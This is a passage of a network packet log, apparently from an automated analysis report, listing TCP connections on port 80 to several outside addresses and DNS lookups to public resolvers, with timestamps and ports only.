Aug 4, 2024 10:58:09.448793888 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448798895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448834896 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448862076 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448874950 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448929071 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.448957920 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.448985100 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449037075 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449064970 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449070930 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449104071 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449131966 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449137926 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449194908 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449223995 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449249983 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449285984 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449311972 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449318886 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449354887 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449382067 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449388027 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449420929 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449453115 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449462891 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449486017 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449512005 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449521065 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449556112 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449579000 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449589014 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449624062 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449662924 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449676991 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449770927 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449795008 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449805021 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449841976 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449870110 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449877024 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449911118 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449939013 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.449949026 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.449979067 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.450006008 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.450012922 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.450047970 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.450073957 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.450082064 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.450117111 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.450144053 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.450150013 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.450243950 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.450243950 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.456159115 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:09.458486080 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:09.591379881 CEST	49760	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:09.591427088 CEST	49761	80	192.168.2.7	8.218.30.151
Aug 4, 2024 10:58:09.596471071 CEST	80	49760	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:09.596523046 CEST	80	49761	8.218.30.151	192.168.2.7
Aug 4, 2024 10:58:09.596618891 CEST	49760	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:09.596637964 CEST	49761	80	192.168.2.7	8.218.30.151
Aug 4, 2024 10:58:09.597023010 CEST	49760	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:09.597048044 CEST	49761	80	192.168.2.7	8.218.30.151
Aug 4, 2024 10:58:09.601824999 CEST	80	49760	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:09.602005005 CEST	80	49761	8.218.30.151	192.168.2.7
Aug 4, 2024 10:58:09.611258030 CEST	49763	80	192.168.2.7	47.242.126.205
Aug 4, 2024 10:58:09.611258030 CEST	49762	80	192.168.2.7	8.212.11.147
Aug 4, 2024 10:58:09.616266966 CEST	80	49763	47.242.126.205	192.168.2.7
Aug 4, 2024 10:58:09.616302013 CEST	80	49762	8.212.11.147	192.168.2.7
Aug 4, 2024 10:58:09.617264032 CEST	49763	80	192.168.2.7	47.242.126.205
Aug 4, 2024 10:58:09.617264032 CEST	49762	80	192.168.2.7	8.212.11.147
Aug 4, 2024 10:58:09.617516994 CEST	49763	80	192.168.2.7	47.242.126.205
Aug 4, 2024 10:58:09.617516994 CEST	49762	80	192.168.2.7	8.212.11.147
Aug 4, 2024 10:58:09.622313976 CEST	80	49763	47.242.126.205	192.168.2.7
Aug 4, 2024 10:58:09.622569084 CEST	80	49762	8.212.11.147	192.168.2.7
Aug 4, 2024 10:58:10.504955053 CEST	80	49760	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:10.504997969 CEST	80	49760	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:10.505053043 CEST	80	49760	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:10.505063057 CEST	49760	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:10.505086899 CEST	80	49760	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:10.505127907 CEST	80	49760	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:10.505137920 CEST	49760	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:10.505790949 CEST	80	49761	8.218.30.151	192.168.2.7
Aug 4, 2024 10:58:10.505821943 CEST	80	49761	8.218.30.151	192.168.2.7
Aug 4, 2024 10:58:10.505867958 CEST	49761	80	192.168.2.7	8.218.30.151
Aug 4, 2024 10:58:10.516627073 CEST	49760	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:10.521595001 CEST	80	49761	8.218.30.151	192.168.2.7
Aug 4, 2024 10:58:10.521651983 CEST	80	49761	8.218.30.151	192.168.2.7
Aug 4, 2024 10:58:10.521684885 CEST	80	49761	8.218.30.151	192.168.2.7
Aug 4, 2024 10:58:10.521693945 CEST	49761	80	192.168.2.7	8.218.30.151
Aug 4, 2024 10:58:10.522191048 CEST	80	49760	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:10.522250891 CEST	49760	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:10.535089016 CEST	80	49763	47.242.126.205	192.168.2.7
Aug 4, 2024 10:58:10.535119057 CEST	80	49763	47.242.126.205	192.168.2.7
Aug 4, 2024 10:58:10.535166025 CEST	49763	80	192.168.2.7	47.242.126.205
Aug 4, 2024 10:58:10.549510002 CEST	80	49763	47.242.126.205	192.168.2.7
Aug 4, 2024 10:58:10.549544096 CEST	80	49763	47.242.126.205	192.168.2.7
Aug 4, 2024 10:58:10.549583912 CEST	49763	80	192.168.2.7	47.242.126.205
Aug 4, 2024 10:58:10.549596071 CEST	80	49763	47.242.126.205	192.168.2.7
Aug 4, 2024 10:58:10.552587986 CEST	80	49762	8.212.11.147	192.168.2.7
Aug 4, 2024 10:58:10.552628994 CEST	80	49762	8.212.11.147	192.168.2.7
Aug 4, 2024 10:58:10.552670002 CEST	49762	80	192.168.2.7	8.212.11.147
Aug 4, 2024 10:58:10.552684069 CEST	80	49762	8.212.11.147	192.168.2.7
Aug 4, 2024 10:58:10.552716970 CEST	80	49762	8.212.11.147	192.168.2.7
Aug 4, 2024 10:58:10.552753925 CEST	49762	80	192.168.2.7	8.212.11.147
Aug 4, 2024 10:58:10.552771091 CEST	80	49762	8.212.11.147	192.168.2.7
Aug 4, 2024 10:58:10.561491966 CEST	49761	80	192.168.2.7	8.218.30.151
Aug 4, 2024 10:58:10.566694975 CEST	49762	80	192.168.2.7	8.212.11.147
Aug 4, 2024 10:58:10.572010994 CEST	80	49762	8.212.11.147	192.168.2.7
Aug 4, 2024 10:58:10.572065115 CEST	49762	80	192.168.2.7	8.212.11.147
Aug 4, 2024 10:58:10.592734098 CEST	49763	80	192.168.2.7	47.242.126.205
Aug 4, 2024 10:58:10.608237028 CEST	80	49761	8.218.30.151	192.168.2.7
Aug 4, 2024 10:58:10.608339071 CEST	49761	80	192.168.2.7	8.218.30.151
Aug 4, 2024 10:58:10.613702059 CEST	80	49761	8.218.30.151	192.168.2.7
Aug 4, 2024 10:58:10.613769054 CEST	49761	80	192.168.2.7	8.218.30.151
Aug 4, 2024 10:58:10.637932062 CEST	80	49763	47.242.126.205	192.168.2.7
Aug 4, 2024 10:58:10.638034105 CEST	49763	80	192.168.2.7	47.242.126.205
Aug 4, 2024 10:58:10.643099070 CEST	80	49763	47.242.126.205	192.168.2.7
Aug 4, 2024 10:58:10.643146992 CEST	49763	80	192.168.2.7	47.242.126.205
Aug 4, 2024 10:58:11.617295980 CEST	49764	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:11.622344017 CEST	80	49764	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:11.623939037 CEST	49764	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:11.624485970 CEST	49764	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:11.624485970 CEST	49764	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:11.629513025 CEST	80	49764	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:11.629544973 CEST	80	49764	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:12.525072098 CEST	80	49764	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:12.577152967 CEST	49764	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:17.720684052 CEST	80	49764	8.218.87.7	192.168.2.7
Aug 4, 2024 10:58:17.722009897 CEST	49764	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:17.722129107 CEST	49764	80	192.168.2.7	8.218.87.7
Aug 4, 2024 10:58:17.728842020 CEST	80	49764	8.218.87.7	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 4, 2024 10:57:15.652792931 CEST	51232	53	192.168.2.7	1.1.1.1
Aug 4, 2024 10:57:15.783972979 CEST	51233	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:15.785973072 CEST	51234	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:15.786988974 CEST	51235	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:15.787951946 CEST	51236	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:15.789175034 CEST	51237	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:15.789490938 CEST	51238	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:15.792402983 CEST	51239	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:15.794882059 CEST	51240	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:15.797032118 CEST	53	51236	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:15.870815992 CEST	51241	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:15.872703075 CEST	51242	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:15.929120064 CEST	51243	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:15.930725098 CEST	51244	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:15.964654922 CEST	53	51239	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:15.967210054 CEST	53	51238	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:15.987380028 CEST	51245	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:15.992985964 CEST	51246	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.043056965 CEST	53	51237	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.053481102 CEST	51247	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.053791046 CEST	51248	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.084181070 CEST	53	51233	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.091092110 CEST	53	51243	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.113004923 CEST	51249	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.113610983 CEST	51250	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.122895002 CEST	53	51250	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.177577972 CEST	51251	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.177640915 CEST	51252	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.181032896 CEST	53	51242	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.206032991 CEST	53	51244	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.215327024 CEST	53	51241	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.235240936 CEST	51253	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.235646009 CEST	51254	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.272830009 CEST	53	51254	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.281526089 CEST	53	51240	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.289884090 CEST	53	51248	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.297879934 CEST	51255	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.298147917 CEST	51256	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.314219952 CEST	53	51247	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.325246096 CEST	53	51245	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.360348940 CEST	51257	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.360796928 CEST	51258	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.365195990 CEST	53	51249	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.422696114 CEST	51259	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.423326969 CEST	51260	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.431303978 CEST	53	51251	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.481620073 CEST	53	51253	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.486390114 CEST	51261	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.487036943 CEST	51262	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.518997908 CEST	53	51252	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.542900085 CEST	53	51255	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.547554016 CEST	51263	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.548299074 CEST	51264	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.604068041 CEST	53	51257	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.611869097 CEST	51265	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.613593102 CEST	51266	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.622536898 CEST	53	51246	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.651978016 CEST	53	51260	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.673172951 CEST	51267	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.673247099 CEST	51268	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.679794073 CEST	53	51259	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.687164068 CEST	53	51267	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.737047911 CEST	53	51261	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.740365982 CEST	51269	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.740742922 CEST	51270	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.798659086 CEST	51271	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.800415039 CEST	51272	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.805788994 CEST	53	51263	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.820993900 CEST	53	51264	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.842767000 CEST	53	51262	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.844568968 CEST	53	51256	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:16.860734940 CEST	51273	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.861426115 CEST	51274	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.866345882 CEST	53	51265	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.923856020 CEST	53	51268	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:16.925920963 CEST	51275	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:16.926707029 CEST	51276	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.927642107 CEST	51277	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:16.927767038 CEST	51278	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:17.028609991 CEST	53	51273	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:17.046691895 CEST	53	51271	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:17.069250107 CEST	53	51270	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:17.074393034 CEST	53	51269	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:17.151612997 CEST	53	51272	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:17.175354958 CEST	53	51276	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:17.180314064 CEST	53	51278	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:17.403811932 CEST	53	51274	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:17.481837034 CEST	53	51275	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:17.591392994 CEST	53	51258	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:17.630978107 CEST	53	51277	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:17.853394032 CEST	53	51266	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:18.938924074 CEST	51279	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:18.939590931 CEST	51280	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:19.202663898 CEST	53	51279	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:19.776511908 CEST	51281	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:19.777129889 CEST	51282	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:20.098238945 CEST	53	51281	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:20.112198114 CEST	53	51282	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:20.261564016 CEST	53	51280	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:25.248054981 CEST	51283	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:25.249152899 CEST	51284	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:25.256071091 CEST	53	51284	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:25.505698919 CEST	53	51283	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:27.839461088 CEST	51285	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:27.839590073 CEST	51286	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:27.891663074 CEST	51287	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:27.891834974 CEST	51288	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:27.951319933 CEST	53	51287	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:27.954433918 CEST	51289	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:27.954618931 CEST	51290	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.016618013 CEST	51291	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.016665936 CEST	51292	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.078756094 CEST	51293	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.079180002 CEST	51294	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.141722918 CEST	51295	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.142585039 CEST	51296	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.181334019 CEST	53	51288	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.204077005 CEST	51297	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.204082966 CEST	51298	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.261228085 CEST	53	51286	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.266772032 CEST	51300	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.266794920 CEST	51299	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.344216108 CEST	51301	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.345935106 CEST	51302	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.406981945 CEST	51303	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.406985044 CEST	51304	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.469640017 CEST	51305	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.469647884 CEST	51306	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.494702101 CEST	53	51285	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.494832993 CEST	53	51292	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.494963884 CEST	53	51293	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.495045900 CEST	53	51297	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.495199919 CEST	53	51295	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.495229006 CEST	53	51294	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.503293991 CEST	53	51302	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.510135889 CEST	53	51306	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.532402039 CEST	51307	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.533024073 CEST	51308	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.594368935 CEST	51309	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.594377995 CEST	51310	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.605611086 CEST	53	51310	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.657851934 CEST	53	51303	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.665745974 CEST	53	51291	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.689428091 CEST	54486	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.690274954 CEST	54487	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.697005033 CEST	53	54487	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.718856096 CEST	53	51299	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.734524012 CEST	53	51301	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.735881090 CEST	54488	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.736324072 CEST	54489	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.739629030 CEST	53	51305	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.741024971 CEST	53	51300	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.742687941 CEST	53	54488	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.780761957 CEST	53	51308	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.796880007 CEST	53	51307	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.797569990 CEST	54490	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.798443079 CEST	54491	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.805597067 CEST	53	54491	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.824641943 CEST	53	51304	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.843117952 CEST	53	51309	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.859850883 CEST	54492	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.860308886 CEST	54493	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.862071037 CEST	53	54486	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.923177958 CEST	54494	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:28.923423052 CEST	54495	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.930238962 CEST	53	54494	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.935669899 CEST	53	51296	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:28.963362932 CEST	53	54490	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:28.985069036 CEST	54496	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:28.985512018 CEST	54497	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:29.005573988 CEST	53	51298	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:29.053208113 CEST	54498	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:29.054759026 CEST	54499	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:29.110755920 CEST	54500	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:29.111097097 CEST	54501	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:29.172578096 CEST	54503	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:29.172578096 CEST	54502	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:29.234863997 CEST	54504	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:29.234869003 CEST	54505	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:29.270880938 CEST	53	54489	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:29.271271944 CEST	53	54495	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:29.271338940 CEST	53	54492	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:29.277447939 CEST	53	54496	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:29.278498888 CEST	53	54499	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:29.278739929 CEST	53	54497	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:29.297729969 CEST	54506	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:29.298760891 CEST	54507	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:29.299283981 CEST	54508	53	192.168.2.7	114.114.114.114
Aug 4, 2024 10:57:29.300203085 CEST	54509	53	192.168.2.7	8.8.8.8
Aug 4, 2024 10:57:29.314950943 CEST	53	54507	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:29.439080954 CEST	53	54505	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:29.463970900 CEST	53	54509	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:29.470488071 CEST	53	54508	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:29.514568090 CEST	53	54504	8.8.8.8	192.168.2.7
Aug 4, 2024 10:57:29.514601946 CEST	53	54498	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:29.527992964 CEST	53	54501	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:29.602628946 CEST	53	54503	114.114.114.114	192.168.2.7
Aug 4, 2024 10:57:29.641989946 CEST	53	54506	114.114.114.114	192.168.2.7
